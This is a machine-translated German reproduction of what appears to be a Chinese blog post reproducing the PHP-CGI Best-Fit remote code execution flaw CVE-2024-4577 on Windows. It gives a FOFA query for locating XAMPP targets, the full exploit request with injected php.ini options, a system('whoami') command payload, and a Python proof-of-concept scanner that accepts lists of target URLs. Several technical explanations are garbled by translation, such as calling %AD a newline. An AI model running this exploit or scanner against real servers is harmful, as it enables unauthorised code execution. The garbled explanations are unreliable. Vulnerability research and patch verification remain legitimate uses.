Technologieaustausch

[Wiederkehrende Sicherheitslücke] PHP-CGI – Best-Fit – Codeausführung (CVE-2024-4577)

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Haftungsausschluss: Dieses Dokument oder Präsentationsmaterial dient ausschließlich Bildungs- und Lehrzwecken. Personen oder Organisationen, die die Informationen in diesem Dokument für illegale Aktivitäten verwenden, stehen in keiner Verbindung zum Autor oder Herausgeber dieses Dokuments.


Beschreibung der Sicherheitslücke

PHP-CGI ist eine Schnittstelle zum Ausführen von PHP-Skripten auf einem Webserver, die den PHP-Interpreter über CGI (Common Gateway Interface) mit dem Webserver verbindet. PHP ist so konzipiert, dass es die Zeichenkonvertierung in Windows ignoriertBest-FitWenn PHP-CGI auf der Windows-Plattform ausgeführt wird und die folgenden Sprachen verwendet (vereinfachtes Chinesisch 936/traditionelles Chinesisch 950/Japanisch 932 usw.), kann der Angreifer böswillige Anfragen erstellen, um den CVE-2012-1823-Patch zu umgehen , sodass der Angreifer den CVE-2012-1823-Patch umgehen kann, ohne sich anzumelden. Ausführung von beliebigem PHP-Code.

Wiederauftreten der Sicherheitslücke

1) Informationssammlung
fofa:app="XAMPP"
Fügen Sie hier eine Bildbeschreibung ein
Wir sind eine Gruppe von Unglücklichen, die immer gegen Gefahr und Wahnsinn kämpfen, aber wir sind auch Wächter.
Fügen Sie hier eine Bildbeschreibung ein
2) Datenpaket erstellen

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip

<?php echo "hello world!";?>
  • 1
  • 2
  • 3
  • 4

Code-Erklärung:

/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  • 1

Bei dieser Nutzlast handelt es sich um einen URL-codierten PHP Remote Command Execution (RCE)-Angriffsvektor, der PHP-CGI-Konfigurationsoptionen ausnutzt, um eine Remote-Codeausführung zu erreichen. Im Folgenden finden Sie eine detaillierte Erläuterung der Nutzlast:

  1. /php-cgi/php-cgi.exe:

    • Dies ist der angeforderte Pfad, der auf die ausführbare PHP-CGI-Datei verweistphp-cgi.exe . PHP CGI ist ein vom Webserver unabhängiger PHP-Interpreter, der normalerweise in der Befehlszeile verwendet oder als CGI-Skript ausgeführt wird.
  2. URL-Kodierung:

    • %ADist ein Newline-ZeichennEine Form der URL-Codierung, die normalerweise zum Einfügen von Zeilenumbrüchen in URLs verwendet wird und in einigen Fällen zum Umgehen der Eingabefilterung verwendet werden kann.
    • %3dJa=URL-Codierungsformular, das zum Zuweisen von Werten zu Variablen verwendet wird.
  3. ?%ADd+cgi.force_redirect%3d0:

    • Versuchen Sie es hier einzustellencgi.force_redirect Ein Wert von 0 deaktiviert das Umleitungsverhalten von PHP CGI. Dies wird normalerweise verwendet, um zu verhindern, dass ein PHP-Skript nach der Ausführung automatisch zur ursprünglich angeforderten URL springt.
  4. +%ADd+cgi.redirect_status_env:

    • Dieser Teil kann die Einstellung seincgi.redirect_status_env ist eine Direktive in der PHP-Konfiguration, die verwendet wird, wenn PHP als CGI- oder FastCGI-Prozess ausgeführt wird. .
  5. +allow_url_include%3d1:

    • Hier einstellenallow_url_include Ein Wert von 1 ermöglicht PHP-Skripten, Dateien von URLs einzubinden. Dies stellt ein potenzielles Sicherheitsrisiko dar, da es einem Angreifer ermöglicht, Remote-Dateien über den in der URL übergebenen Dateipfad einzubinden.
  6. +auto_prepend_file%3dphp://input:

    • aufstellenauto_prepend_filefürphp://input . Diese Konfigurationsoption ermöglicht das automatische Einbinden einer Datei vor der Ausführung des PHP-Skripts.Wenn eingestellt aufphp://input , enthält es die per HTTP-POST-Anfrage gesendeten Daten. Damit kann beliebiger PHP-Code ausgeführt werden, da ein Angreifer über eine POST-Anfrage Schadcode versenden kann.

Durch die Erstellung dieser Nutzlast versucht der Angreifer, PHP-CGI-Konfigurationsoptionen auszunutzen, um Remotecode auszuführen.indem man es einstelltallow_url_includeUndauto_prepend_filekann ein Angreifer eine POST-Anfrage mit PHP-Code senden, der automatisch ausgeführt wird.

Fügen Sie hier eine Bildbeschreibung ein
Echohello world, der Code wird analysiert.
3) Es können auch andere Vorgänge ausgeführt werden
Einen Befehl ausführen

<?php system('whoami');?>
  • 1

Fügen Sie hier eine Bildbeschreibung ein
Achtung: Tausende Menschen, tun Sie, tun Sie, tun Sie nicht, tun Sie keine illegalen Dinge! ! !

Testwerkzeuge

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,利用漏洞进行尝试
        attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 设置请求头信息
        headers = {
            'User-Agent': 'curl/8.3.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # 设置请求体数据
        payload = "<?php echo '666666';?>"
        # 向服务器发送请求
        response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
        # 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
        if response.status_code == 200 and '666666' in response.text:
            print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 如果请求过程中发生异常,打印异常信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    解析命令行参数,根据参数执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
    # 添加URL参数,指定目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,指定包含多个URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL,确保其以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

Screenshot ausführen
Fügen Sie hier eine Bildbeschreibung ein


Der kleine Lotus hat gerade seine scharfen Ecken enthüllt, und eine Libelle hat bereits darauf gestanden.